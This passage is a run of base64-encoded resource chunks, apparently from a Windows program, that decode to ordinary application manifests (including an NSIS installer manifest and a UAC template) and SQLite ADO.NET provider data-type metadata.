ZDBmNmQwZGE3OH0iLz4gICAgIFRoZSBJRCBiZWxvdyBpbmRpY2F0ZXMgYXBwbGljYXRpb24gc3VwcG9ydCBmb3IgV2luZG93cyAxMCAtLT4gICAgICA8c3VwcG9ydGVkT1MgSWQ9Ins4ZTBmN2ExMi1iZmIzLTRmZTgtYjlhNS00OGZkNTBhMTVhOWF9Ii8+ICA8L2FwcGxpY2F0aW9uPjwvY29tcGF0aWJpbGl0eT48YXNtdjM6YXBwbGljYXRpb24geG1sbnM6YXNtdjM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4gIDxhc212Mzp3aW5kb3dzU2V0dGluZ3MgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vU01JLzIwMDUvV2luZG93c1NldHRpbmdzIj4gICAgPGRwaUF3YXJlPnRydWU8L2RwaUF3YXJlPiAgPC9hc212Mzp3aW5kb3dzU2V0dGluZ3M+PC9hc212MzphcHBsaWNhdGlvbj48L2Fzc2VtYmx5PlBQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUA==53:T52c,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+IC8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiAqIEFETy5ORVQgMi4wIERhdGEgUHJvdmlkZXIgZm9yIFNRTGl0ZSBWZXJzaW9uIDMuWCAqIFdyaXR0ZW4gYnkgUm9iZXJ0IFNpbXBzb24gKHJvYmVydEBibGFja2Nhc3RsZXNvZnQuY29tKSAqICAqIFJlbGVhc2VkIHRvIHRoZSBwdWJsaWMgZG9tYWluLCB1c2UgYXQgeW91ciBvd24gcmlzayEgKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovLS0+PERvY3VtZW50RWxlbWVudD4gIDxNZXRhRGF0YUNvbGxlY3Rpb25zPiAgICA8Q29sbGVjdGlvbk5hbWU+TWV0YURhdGFDb2xsZWN0aW9uczwvQ29sbGVjdGlvbk5hbWU+ICAgIDxOdW1iZXJPZlJlc3RyaWN0aW9ucz4wPC9OdW1iZXJPZlJlc3RyaWN0aW9ucz4gICAgPE51bWJlck9mSWRlbnRpZmllclBhcnRzPjA8L051bWJlck9mSWRlbnRpZmllclBhcnRzPiAgPC9NZXRhRGF0YUNvbGxlY3Rpb25zPiAgPE1ldGFEYXRhQ29sbGVjdGlvbnM+ICAgIDxDb2xsZWN0aW9uTmFtZT5EYXRhU291cmNlSW5mb3JtYXRpb248L0NvbGxlY3Rpb25OYW1lPiAgICA8TnVtYmVyT2ZSZXN0cmljdGlvbnM+MDwvTnVtYmVyT2ZSZXN0cmljdGlvbnM+ICAgIDxOdW1iZXJPZklkZW50aWZpZXJQYXJ0cz4wPC9OdW1iZXJPZklkZW50aWZpZXJQYXJ0cz4gIDwvTWV0YURhdGFDb2xsZWN0aW9ucz4gIDxNZXRhRGF0YUNvbGxlY3Rpb25zPiAgICA8Q29sbGVjdGlvbk5hbWU+RGF0YVR5cGVzPC9Db2xsZWN0aW9uTmFtZT4gICAgPE51bWJlck9mUmVzdHJpY3Rpb25zPjA8L051bWJlck9mUmVzdHJpY3Rpb25zPiAgICA8TnVtYmVyT2ZJZGVudGlmaWVyUGFydHM+MDwvTnVtYmVyT2ZJZGVudGlmaWVyUGFydHM+ICA8L01ldGFEYXRhQ29sbGVjdGlvbnM+ICA8TWV0YURhdGFDb2xsZWN0aW9ucz4gICAgPENvbGw=54:T454,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9InllcyI/Pjxhc3NlbWJseSB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjEiIG1hbmlmZXN0VmVyc2lvbj0iMS4wIj48YXNzZW1ibHlJZGVudGl0eSB2ZXJzaW9uPSIxLjAuMC4wIiBwcm9jZXNzb3JBcmNoaXRlY3R1cmU9IioiIG5hbWU9Ik51bGxzb2Z0Lk5TSVMuZXhlaGVhZCIgdHlwZT0id2luMzIiLz48ZGVzY3JpcHRpb24+TnVsbHNvZnQgSW5zdGFsbCBTeXN0ZW0gdjMuMDwvZGVzY3JpcHRpb24+PHRydXN0SW5mbyB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjMiPjxzZWN1cml0eT48cmVxdWVzdGVkUHJpdmlsZWdlcz48cmVxdWVzdGVkRXhlY3V0aW9uTGV2ZWwgbGV2ZWw9ImFzSW52b2tlciIgdWlBY2Nlc3M9ImZhbHNlIi8+PC9yZXF1ZXN0ZWRQcml2aWxlZ2VzPjwvc2VjdXJpdHk+PC90cnVzdEluZm8+PGNvbXBhdGliaWxpdHkgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206Y29tcGF0aWJpbGl0eS52MSI+PGFwcGxpY2F0aW9uPjxzdXBwb3J0ZWRPUyBJZD0iezhlMGY3YTEyLWJmYjMtNGZlOC1iOWE1LTQ4ZmQ1MGExNWE5YX0iLz48c3VwcG9ydGVkT1MgSWQ9InsxZjY3NmM3Ni04MGUxLTQyMzktOTViYi04M2QwZjZkMGRhNzh9Ii8+PHN1cHBvcnRlZE9TIElkPSJ7NGEyZjI4ZTMtNTNiOS00NDQxLWJhOWMtZDY5ZDRhNGE2ZTM4fSIvPjxzdXBwb3J0ZWRPUyBJZD0iezM1MTM4YjlhLTVkOTYtNGZiZC04ZTJkLWEyNDQwMjI1ZjkzYX0iLz48L2FwcGxpY2F0aW9uPjwvY29tcGF0aWJpbGl0eT48L2Fzc2VtYmx5Pg==55:T520,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48YXNzZW1ibHkgbWFuaWZlc3RWZXJzaW9uPSIxLjAiIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MSI+ICA8YXNzZW1ibHlJZGVudGl0eSB2ZXJzaW9uPSIxLjAuMC4wIiBuYW1lPSJNeUFwcGxpY2F0aW9uLmFwcCIvPiAgPHRydXN0SW5mbyB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjIiPiAgICA8c2VjdXJpdHk+ICAgICAgPHJlcXVlc3RlZFByaXZpbGVnZXMgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4gICAgICAgICAgVUFDIE1hbmlmZXN0IE9wdGlvbnMgICAgICAgICAgICAgSWYgeW91IHdhbnQgdG8gY2hhbmdlIHRoZSBXaW5kb3dzIFVzZXIgQWNjb3VudCBDb250cm9sIGxldmVsIHJlcGxhY2UgdGhlICAgICAgICAgICAgICByZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCBub2RlIHdpdGggb25lIG9mIHRoZSBmb2xsb3dpbmcuICAgICAgICA8cmVxdWVzdGVkRXhlY3V0aW9uTGV2ZWwgIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSIgLz4gICAgICAgIDxyZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCAgbGV2ZWw9InJlcXVpcmVBZG1pbmlzdHJhdG9yIiB1aUFjY2Vzcz0iZmFsc2UiIC8+ICAgICAgICA8cmVxdWVzdGVkRXhlY3V0aW9uTGV2ZWwgIGxldmVsPSJoaWdoZXN0QXZhaWxhYmxlIiB1aUFjY2Vzcz0iZmFsc2UiIC8+ICAgICAgICAgICAgU3BlY2lmeWluZyByZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCBlbGVtZW50IHdpbGwgZGlzYWJsZSBmaWxlIGFuZCByZWdpc3RyeSB2aXJ0dWFsaXphdGlvbi4gICAgICAgICAgICAgUmVtb3ZlIHRoaXMgZWxlbWVudCBpZiB5b3VyIGFwcGxpY2F0aW9uIHJlcXVpcmVzIHRoaXMgdmlydHVhbGl6YXRpb24gZm9yIGJhY2t3YXJkcyAgICAgICAgICAgIGNvbXBhdGliaWxpdHkuICAgICAgICAtLT4gICAgICAgIDxyZXF1ZXN0ZWRFeGVjdXRp56:T504,PD94bWwgdmVyc2lvbj0iMS4wIiBzdGFuZGFsb25lPSJ5ZXMiPz4gLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqICogQURPLk5FVCAyLjAgRGF0YSBQcm92aWRlciBmb3IgU1FMaXRlIFZlcnNpb24gMy5YICogV3JpdHRlbiBieSBSb2JlcnQgU2ltcHNvbiAocm9iZXJ0QGJsYWNrY2FzdGxlc29mdC5jb20pICogKiBSZWxlYXNlZCB0byB0aGUgcHVibGljIGRvbWFpbiwgdXNlIGF0IHlvdXIgb3duIHJpc2shICoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLy0tPjxEb2N1bWVudEVsZW1lbnQ+ICA8RGF0YVR5cGVzPiAgICA8VHlwZU5hbWU+c21hbGxpbnQ8L1R5cGVOYW1lPiAgICA8UHJvdmlkZXJEYlR5cGU+MTA8L1Byb3ZpZGVyRGJUeXBlPiAgICA8Q29sdW1uU2l6ZT41PC9Db2x1bW5TaXplPiAgICA8RGF0YVR5cGU+U3lzdGVtLkludDE2PC9EYXRhVHlwZT4gICAgPENyZWF0ZUZvcm1hdD5zbWFsbGludDwvQ3JlYXRlRm9ybWF0PiAgICA8SXNBdXRvSW5jcmVtZW50YWJsZT5mYWxzZTwvSXNBdXRvSW5jcmVtZW50YWJsZT4gICAgPElzQ2FzZVNlbnNpdGl2ZT5mYWxzZTwvSXNDYXNlU2Vuc2l0aXZlPiAgICA8SXNGaXhlZExlbmd0aD50cnVlPC9Jc0ZpeGVkTGVuZ3RoPiAgICA8SXNGaXhlZFByZWNpc2lvblNjYWxlPnRydWU8L0lzRml4ZWRQcmVjaXNpb25TY2FsZT4gICAgPElzTG9uZz5mYWxzZTwvSXNMb25nPiAgICA8SXNOdWxsYWJsZT50cnVlPC9Jc051bGxhYmxlPiAgICA8SXNTZWFyY2hhYmxlPnRydWU8L0lzU2VhcmNoYWJsZT4gICAgPElzU2VhcmNoYWJsZVdpdGhMaWtlPmZhbHNlPC9Jc1NlYXJjaGFibGVXaXRoTGlrZT4gICAgPElzVW5zaWduZWQ+ZmFsc2U8L0lzVW5zaWduZWQ+ICAgIDxJc0Jlc3RNYXRjaD50cnVlPC9Jc0Jlc3RNYXRjaD4gIDwvRGF0YVR5cGVzPiAgPERhdGE=57:T50c,PENyZWF0ZUZvcm1hdD5nZW5lcmFsPC9DcmVhdGVGb3JtYXQ+ICAgIDxJc0F1dG9JbmNyZW1lbnRhYmxlPmZhbHNlPC9Jc0F1dG9JbmNyZW1lbnRhYmxlPiAgICA8SXNDYXNlU2Vuc2l0aXZlPmZhbHNlPC9Jc0Nhc2VTZW5zaXRpdmU+ICAgIDxJc0ZpeGVkTGVuZ3RoPmZhbHNlPC9Jc0ZpeGVkTGVuZ3RoPiAgICA8SXNGaXhlZFByZWNpc2lvblNjYWxlPmZhbHNlPC9Jc0ZpeGVkUHJlY2lzaW9uU2NhbGU+ICAgIDxJc0xvbmc+ZmFsc2U8L0lzTG9uZz4gICAgPElzTnVsbGFibGU+dHJ1ZTwvSXNOdWxsYWJsZT4gICAgPElzU2VhcmNoYWJsZT5mYWxzZTwvSXNTZWFyY2hhYmxlPiAgICA8SXNTZWFyY2hhYmxlV2l0aExpa2U+ZmFsc2U8L0lzU2VhcmNoYWJsZVdpdGhMaWtlPiAgICA8TGl0ZXJhbFByZWZpeD5YJzwvTGl0ZXJhbFByZWZpeD4gICAgPExpdGVyYWxTdWZmaXg+JzwvTGl0ZXJhbFN1ZmZpeD4gICAgPElzQmVzdE1hdGNoPmZhbHNlPC9Jc0Jlc3RNYXRjaD4gIDwvRGF0YVR5cGVzPiAgPERhdGFUeXBlcz4gICAgPFR5cGVOYW1lPm9sZW9iamVjdDwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT4xPC9Qcm92aWRlckRiVHlwZT4gICAgPENvbHVtblNpemU+MjE0NzQ4MzY0NzwvQ29sdW1uU2l6ZT4gICAgPERhdGFUeXBlPlN5c3RlbS5CeXRlW108L0RhdGFUeXBlPiAgICA8Q3JlYXRlRm9ybWF0Pm9sZW9iamVjdDwvQ3JlYXRlRm9ybWF0PiAgICA8SXNBdXRvSW5jcmVtZW50YWJsZT5mYWxzZTwvSXNBdXRvSW5jcmVtZW50YWJsZT4gICAgPElzQ2FzZVNlbnNpdGl2ZT5mYWxzZTwvSXNDYXNlU2Vuc2l0aXZlPiAgICA8SXNGaXhlZExlbmd0aD5mYWxzZTwvSXNGaXhlZExlbmd0aD4gICAgPElzRml4ZWRQcmVjaXNpb25TY2FsZT5mYWxzZTwvSXNGaXhlZFByZWNpc2lvblNjYWxlPiAgICA8SXNMb25nPmZhbHNlPC9Jc0xvbmc+ICAgIDxJc051bGxhYmxlPnRydWU8L0lzTnVsbGFibGU+ICAgIDxJc1NlYQ==58:T510,PENyZWF0ZUZvcm1hdD5sb25nPC9DcmVhdGVGb3JtYXQ+ICAgIDxJc0F1dG9JbmNyZW1lbnRhYmxlPnRydWU8L0lzQXV0b0luY3JlbWVudGFibGU+ICAgIDxJc0Nhc2VTZW5zaXRpdmU+ZmFsc2U8L0lzQ2FzZVNlbnNpdGl2ZT4gICAgPElzRml4ZWRMZW5ndGg+dHJ1ZTwvSXNGaXhlZExlbmd0aD4gICAgPElzRml4ZWRQcmVjaXNpb25TY2FsZT50cnVlPC9Jc0ZpeGVkUHJlY2lzaW9uU2NhbGU+ICAgIDxJc0xvbmc+ZmFsc2U8L0lzTG9uZz4gICAgPElzTnVsbGFibGU+dHJ1ZTwvSXNOdWxsYWJsZT4gICAgPElzU2VhcmNoYWJsZT50cnVlPC9Jc1NlYXJjaGFibGU+ICAgIDxJc1NlYXJjaGFibGVXaXRoTGlrZT5mYWxzZTwvSXNTZWFyY2hhYmxlV2l0aExpa2U+ICAgIDxJc1Vuc2lnbmVkPmZhbHNlPC9Jc1Vuc2lnbmVkPiAgICA8SXNCZXN0TWF0Y2g+ZmFsc2U8L0lzQmVzdE1hdGNoPiAgPC9EYXRhVHlwZXM+ICA8RGF0YVR5cGVzPiAgICA8VHlwZU5hbWU+YmlnaW50PC9UeXBlTmFtZT4gICAgPFByb3ZpZGVyRGJUeXBlPjEyPC9Qcm92aWRlckRiVHlwZT4gICAgPENvbHVtblNpemU+MTk8L0NvbHVtblNpemU+ICAgIDxEYXRhVHlwZT5TeXN0ZW0uSW50NjQ8L0RhdGFUeXBlPiAgICA8Q3JlYXRlRm9ybWF0PmJpZ2ludDwvQ3JlYXRlRm9ybWF0PiAgICA8SXNBdXRvSW5jcmVtZW50YWJsZT50cnVlPC9Jc0F1dG9JbmNyZW1lbnRhYmxlPiAgICA8SXNDYXNlU2Vuc2l0aXZlPmZhbHNlPC9Jc0Nhc2VTZW5zaXRpdmU+ICAgIDxJc0ZpeGVkTGVuZ3RoPnRydWU8L0lzRml4ZWRMZW5ndGg+ICAgIDxJc0ZpeGVkUHJlY2lzaW9uU2NhbGU+dHJ1ZTwvSXNGaXhlZFByZWNpc2lvblNjYWxlPiAgICA8SXNMb25nPmZhbHNlPC9Jc0xvbmc+ICAgIDxJc051bGxhYmxlPnRydWU8L0lzTnVsbGFibGU+ICAgIDxJc1NlYXJjaGFibGU+dHJ1ZTwvSXNTZWFyY2hhYmxlPiAgICA8SXNTZWFyY2hhYmxlV2l0aExpa2U+ZmFsc2U8L0lzU2VhcmM=59:T514,PElzQXV0b0luY3JlbWVudGFibGU+ZmFsc2U8L0lzQXV0b0luY3JlbWVudGFibGU+ICAgIDxJc0Nhc2VTZW5zaXRpdmU+ZmFsc2U8L0lzQ2FzZVNlbnNpdGl2ZT4gICAgPElzRml4ZWRMZW5ndGg+ZmFsc2U8L0lzRml4ZWRMZW5ndGg+ICAgIDxJc0ZpeGVkUHJlY2lzaW9uU2NhbGU+ZmFsc2U8L0lzRml4ZWRQcmVjaXNpb25TY2FsZT4gICAgPElzTG9uZz5mYWxzZTwvSXNMb25nPiAgICA8SXNOdWxsYWJsZT50cnVlPC9Jc051bGxhYmxlPiAgICA8SXNTZWFyY2hhYmxlPmZhbHNlPC9Jc1NlYXJjaGFibGU+ICAgIDxJc1NlYXJjaGFibGVXaXRoTGlrZT5mYWxzZTwvSXNTZWFyY2hhYmxlV2l0aExpa2U+ICAgIDxMaXRlcmFsUHJlZml4PlgnPC9MaXRlcmFsUHJlZml4PiAgICA8TGl0ZXJhbFN1ZmZpeD4nPC9MaXRlcmFsU3VmZml4PiAgICA8SXNCZXN0TWF0Y2g+ZmFsc2U8L0lzQmVzdE1hdGNoPiAgPC9EYXRhVHlwZXM+ICA8RGF0YVR5cGVzPiAgICA8VHlwZU5hbWU+YmxvYjwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT4xPC9Qcm92aWRlckRiVHlwZT4gICAgPENvbHVtblNpemU+MjE0NzQ4MzY0NzwvQ29sdW1uU2l6ZT4gICAgPERhdGFUeXBlPlN5c3RlbS5CeXRlW108L0RhdGFUeXBlPiAgICA8Q3JlYXRlRm9ybWF0PmJsb2I8L0NyZWF0ZUZvcm1hdD4gICAgPElzQXV0b0luY3JlbWVudGFibGU+ZmFsc2U8L0lzQXV0b0luY3JlbWVudGFibGU+ICAgIDxJc0Nhc2VTZW5zaXRpdmU+ZmFsc2U8L0lzQ2FzZVNlbnNpdGl2ZT4gICAgPElzRml4ZWRMZW5ndGg+ZmFsc2U8L0lzRml4ZWRMZW5ndGg+ICAgIDxJc0ZpeGVkUHJlY2lzaW9uU2NhbGU+ZmFsc2U8L0lzRml4ZWRQcmVjaXNpb25TY2FsZT4gICAgPElzTG9uZz5mYWxzZTwvSXNMb25nPiAgICA8SXNOdWxsYWJsZT50cnVlPC9Jc051bGxhYmxlPiAgICA8SXNTZWFyY2hhYmxlPmZhbHNlPC9Jc1NlYXJjaGFibGU+ICAgIDxJc1NlYXJjaGFibGVXaXRoTGlrZT5mYQ==5a:T508,PElzRml4ZWRQcmVjaXNpb25TY2FsZT50cnVlPC9Jc0ZpeGVkUHJlY2lzaW9uU2NhbGU+ICAgIDxJc0xvbmc+ZmFsc2U8L0lzTG9uZz4gICAgPElzTnVsbGFibGU+dHJ1ZTwvSXNOdWxsYWJsZT4gICAgPElzU2VhcmNoYWJsZT50cnVlPC9Jc1NlYXJjaGFibGU+ICAgIDxJc1NlYXJjaGFibGVXaXRoTGlrZT5mYWxzZTwvSXNTZWFyY2hhYmxlV2l0aExpa2U+ICAgIDxJc1Vuc2lnbmVkPnRydWU8L0lzVW5zaWduZWQ+ICAgIDxJc0Jlc3RNYXRjaD50cnVlPC9Jc0Jlc3RNYXRjaD4gIDwvRGF0YVR5cGVzPiAgPERhdGFUeXBlcz4gICAgPFR5cGVOYW1lPmludGVnZXI8L1R5cGVOYW1lPiAgICA8UHJvdmlkZXJEYlR5cGU+MTI8L1Byb3ZpZGVyRGJUeXBlPiAgICA8Q29sdW1uU2l6ZT4xOTwvQ29sdW1uU2l6ZT4gICAgPERhdGFUeXBlPlN5c3RlbS5JbnQ2NDwvRGF0YVR5cGU+ICAgIDxDcmVhdGVGb3JtYXQ+aW50ZWdlcjwvQ3JlYXRlRm9ybWF0PiAgICA8SXNBdXRvSW5jcmVtZW50YWJsZT50cnVlPC9Jc0F1dG9JbmNyZW1lbnRhYmxlPiAgICA8SXNDYXNlU2Vuc2l0aXZlPmZhbHNlPC9Jc0Nhc2VTZW5zaXRpdmU+ICAgIDxJc0ZpeGVkTGVuZ3RoPnRydWU8L0lzRml4ZWRMZW5ndGg+ICAgIDxJc0ZpeGVkUHJlY2lzaW9uU2NhbGU+dHJ1ZTwvSXNGaXhlZFByZWNpc2lvblNjYWxlPiAgICA8SXNMb25nPmZhbHNlPC9Jc0xvbmc+ICAgIDxJc051bGxhYmxlPnRydWU8L0lzTnVsbGFibGU+ICAgIDxJc1NlYXJjaGFibGU+dHJ1ZTwvSXNTZWFyY2hhYmxlPiAgICA8SXNTZWFyY2hhYmxlV2l0aExpa2U+ZmFsc2U8L0lzU2VhcmNoYWJsZVdpdGhMaWtlPiAgICA8SXNVbnNpZ25lZD5mYWxzZTwvSXNVbnNpZ25lZD4gICAgPElzQmVzdE1hdGNoPnRydWU8L0lzQmVzdE1hdGNoPiAgPC9EYXRhVHlwZXM+ICA8RGF0YVR5cGVzPiAgICA8VHlwZU5hbWU+Y291bnRlcjwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT4xMjwv5b:T508,PElzU2VhcmNoYWJsZVdpdGhMaWtlPmZhbHNlPC9Jc1NlYXJjaGFibGVXaXRoTGlrZT4gICAgPElzVW5zaWduZWQ+ZmFsc2U8L0lzVW5zaWduZWQ+ICAgIDxJc0Jlc3RNYXRjaD5mYWxzZTwvSXNCZXN0TWF0Y2g+ICA8L0RhdGFUeXBlcz4gIDxEYXRhVHlwZXM+ICAgIDxUeXBlTmFtZT5tb25leTwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT43PC9Qcm92aWRlckRiVHlwZT4gICAgPENvbHVtblNpemU+MTk8L0NvbHVtblNpemU+ICAgIDxEYXRhVHlwZT5TeXN0ZW0uRGVjaW1hbDwvRGF0YVR5cGU+ICAgIDxDcmVhdGVGb3JtYXQ+bW9uZXk8L0NyZWF0ZUZvcm1hdD4gICAgPElzQXV0b0luY3JlbWVudGFibGU+ZmFsc2U8L0lzQXV0b0luY3JlbWVudGFibGU+ICAgIDxJc0Nhc2VTZW5zaXRpdmU+ZmFsc2U8L0lzQ2FzZVNlbnNpdGl2ZT4gICAgPElzRml4ZWRMZW5ndGg+dHJ1ZTwvSXNGaXhlZExlbmd0aD4gICAgPElzRml4ZWRQcmVjaXNpb25TY2FsZT50cnVlPC9Jc0ZpeGVkUHJlY2lzaW9uU2NhbGU+ICAgIDxJc0xvbmc+ZmFsc2U8L0lzTG9uZz4gICAgPElzTnVsbGFibGU+dHJ1ZTwvSXNOdWxsYWJsZT4gICAgPElzU2VhcmNoYWJsZT50cnVlPC9Jc1NlYXJjaGFibGU+ICAgIDxJc1NlYXJjaGFibGVXaXRoTGlrZT5mYWxzZTwvSXNTZWFyY2hhYmxlV2l0aExpa2U+ICAgIDxJc1Vuc2lnbmVkPmZhbHNlPC9Jc1Vuc2lnbmVkPiAgICA8SXNCZXN0TWF0Y2g+dHJ1ZTwvSXNCZXN0TWF0Y2g+ICA8L0RhdGFUeXBlcz4gIDxEYXRhVHlwZXM+ICAgIDxUeXBlTmFtZT5jdXJyZW5jeTwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT43PC9Qcm92aWRlckRiVHlwZT4gICAgPENvbHVtblNpemU+MTk8L0NvbHVtblNpemU+ICAgIDxEYXRhVHlwZT5TeXN0ZW0uRGVjaW1hbDwvRGF0YVR5cGU+ICAgIDxDcmVhdGVGb3JtYXQ+Y3VycmVuY3k8L0NyZWF0ZUZvcm1hdD4gICAgPElzQXV0b0luY3JlbWVudGFibGU+5c:T510,PFByb3ZpZGVyRGJUeXBlPjE2PC9Qcm92aWRlckRiVHlwZT4gICAgPENvbHVtblNpemU+MjE0NzQ4MzY0NzwvQ29sdW1uU2l6ZT4gICAgPENyZWF0ZVBhcmFtZXRlcnM+bWF4IGxlbmd0aDwvQ3JlYXRlUGFyYW1ldGVycz4gICAgPERhdGFUeXBlPlN5c3RlbS5TdHJpbmc8L0RhdGFUeXBlPiAgICA8Q3JlYXRlRm9ybWF0Pm52YXJjaGFyKHswfSk8L0NyZWF0ZUZvcm1hdD4gICAgPElzQXV0b0luY3JlbWVudGFibGU+ZmFsc2U8L0lzQXV0b0luY3JlbWVudGFibGU+ICAgIDxJc0Nhc2VTZW5zaXRpdmU+ZmFsc2U8L0lzQ2FzZVNlbnNpdGl2ZT4gICAgPElzRml4ZWRMZW5ndGg+ZmFsc2U8L0lzRml4ZWRMZW5ndGg+ICAgIDxJc0ZpeGVkUHJlY2lzaW9uU2NhbGU+ZmFsc2U8L0lzRml4ZWRQcmVjaXNpb25TY2FsZT4gICAgPElzTG9uZz5mYWxzZTwvSXNMb25nPiAgICA8SXNOdWxsYWJsZT50cnVlPC9Jc051bGxhYmxlPiAgICA8SXNTZWFyY2hhYmxlPnRydWU8L0lzU2VhcmNoYWJsZT4gICAgPElzU2VhcmNoYWJsZVdpdGhMaWtlPnRydWU8L0lzU2VhcmNoYWJsZVdpdGhMaWtlPiAgICA8TGl0ZXJhbFByZWZpeD4nPC9MaXRlcmFsUHJlZml4PiAgICA8TGl0ZXJhbFN1ZmZpeD4nPC9MaXRlcmFsU3VmZml4PiAgICA8SXNCZXN0TWF0Y2g+dHJ1ZTwvSXNCZXN0TWF0Y2g+ICA8L0RhdGFUeXBlcz4gIDxEYXRhVHlwZXM+ICAgIDxUeXBlTmFtZT5tZW1vPC9UeXBlTmFtZT4gICAgPFByb3ZpZGVyRGJUeXBlPjE2PC9Qcm92aWRlckRiVHlwZT4gICAgPENvbHVtblNpemU+MjE0NzQ4MzY0NzwvQ29sdW1uU2l6ZT4gICAgPENyZWF0ZVBhcmFtZXRlcnM+bWF4IGxlbmd0aDwvQ3JlYXRlUGFyYW1ldGVycz4gICAgPERhdGFUeXBlPlN5c3RlbS5TdHJpbmc8L0RhdGFUeXBlPiAgICA8Q3JlYXRlRm9ybWF0Pm1lbW8oezB9KTwvQ3JlYXRlRm9ybWF0PiAgICA8SXNBdXRvSW5jcmVtZW50YWJsZT5mYWxzZTwvSXNBdXRvSW5jcmVtZW50YWJs5d:T510,PiAgICA8SXNDYXNlU2Vuc2l0aXZlPmZhbHNlPC9Jc0Nhc2VTZW5zaXRpdmU+ICAgIDxJc0ZpeGVkTGVuZ3RoPmZhbHNlPC9Jc0ZpeGVkTGVuZ3RoPiAgICA8SXNGaXhlZFByZWNpc2lvblNjYWxlPmZhbHNlPC9Jc0ZpeGVkUHJlY2lzaW9uU2NhbGU+ICAgIDxJc0xvbmc+ZmFsc2U8L0lzTG9uZz4gICAgPElzTnVsbGFibGU+dHJ1ZTwvSXNOdWxsYWJsZT4gICAgPElzU2VhcmNoYWJsZT50cnVlPC9Jc1NlYXJjaGFibGU+ICAgIDxJc1NlYXJjaGFibGVXaXRoTGlrZT50cnVlPC9Jc1NlYXJjaGFibGVXaXRoTGlrZT4gICAgPExpdGVyYWxQcmVmaXg+JzwvTGl0ZXJhbFByZWZpeD4gICAgPExpdGVyYWxTdWZmaXg+JzwvTGl0ZXJhbFN1ZmZpeD4gICAgPElzQmVzdE1hdGNoPmZhbHNlPC9Jc0Jlc3RNYXRjaD4gIDwvRGF0YVR5cGVzPiAgPERhdGFUeXBlcz4gICAgPFR5cGVOYW1lPmxvbmd0ZXh0PC9UeXBlTmFtZT4gICAgPFByb3ZpZGVyRGJUeXBlPjE2PC9Qcm92aWRlckRiVHlwZT4gICAgPENvbHVtblNpemU+MjE0NzQ4MzY0NzwvQ29sdW1uU2l6ZT4gICAgPENyZWF0ZVBhcmFtZXRlcnM+bWF4IGxlbmd0aDwvQ3JlYXRlUGFyYW1ldGVycz4gICAgPERhdGFUeXBlPlN5c3RlbS5TdHJpbmc8L0RhdGFUeXBlPiAgICA8Q3JlYXRlRm9ybWF0Pmxvbmd0ZXh0KHswfSk8L0NyZWF0ZUZvcm1hdD4gICAgPElzQXV0b0luY3JlbWVudGFibGU+ZmFsc2U8L0lzQXV0b0luY3JlbWVudGFibGU+ICAgIDxJc0Nhc2VTZW5zaXRpdmU+ZmFsc2U8L0lzQ2FzZVNlbnNpdGl2ZT4gICAgPElzRml4ZWRMZW5ndGg+ZmFsc2U8L0lzRml4ZWRMZW5ndGg+ICAgIDxJc0ZpeGVkUHJlY2lzaW9uU2NhbGU+ZmFsc2U8L0lzRml4ZWRQcmVjaXNpb25TY2FsZT4gICAgPElzTG9uZz5mYWxzZTwvSXNMb25nPiAgICA8SXNOdWxsYWJsZT50cnVlPC9Jc051bGxhYmxlPiAgICA8SXNTZWFyY2hhYmxlPnRydWU8L0lzU2VhcmNoYWJsZT4gICAgPElzU2VhcmM=5e:T514,PlN5c3RlbS5Cb29sZWFuPC9EYXRhVHlwZT4gICAgPENyZWF0ZUZvcm1hdD5sb2dpY2FsPC9DcmVhdGVGb3JtYXQ+ICAgIDxJc0F1dG9JbmNyZW1lbnRhYmxlPmZhbHNlPC9Jc0F1dG9JbmNyZW1lbnRhYmxlPiAgICA8SXNDYXNlU2Vuc2l0aXZlPmZhbHNlPC9Jc0Nhc2VTZW5zaXRpdmU+ICAgIDxJc0ZpeGVkTGVuZ3RoPnRydWU8L0lzRml4ZWRMZW5ndGg+ICAgIDxJc0ZpeGVkUHJlY2lzaW9uU2NhbGU+ZmFsc2U8L0lzRml4ZWRQcmVjaXNpb25TY2FsZT4gICAgPElzTG9uZz5mYWxzZTwvSXNMb25nPiAgICA8SXNOd